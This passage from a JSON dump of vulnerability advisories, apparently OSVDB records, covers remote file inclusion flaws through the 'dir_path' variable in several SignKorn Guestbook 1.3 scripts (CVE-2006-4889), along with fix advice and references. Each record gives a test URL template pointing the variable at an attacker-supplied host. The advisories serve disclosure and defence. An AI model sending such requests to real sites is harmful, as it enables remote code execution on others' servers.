32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook help/de/adminhelp2.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32211", "id": "OSVDB:32211", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/log.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/log.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/admin/log.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook admin/log.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32215", "id": "OSVDB:32215", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/config.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/config.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/admin/config.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook admin/config.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32217", "id": "OSVDB:32217", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/functions.gb.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/functions.gb.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/includes/functions.gb.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook includes/functions.gb.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32200", "id": "OSVDB:32200", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp3.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp3.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/help/de/adminhelp3.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook help/de/adminhelp3.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32212", "id": "OSVDB:32212", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/index.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/index.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/admin/index.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook admin/index.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32216", "id": "OSVDB:32216", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/admin.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the admin/admin.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/admin/admin.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook admin/admin.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32218", "id": "OSVDB:32218", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}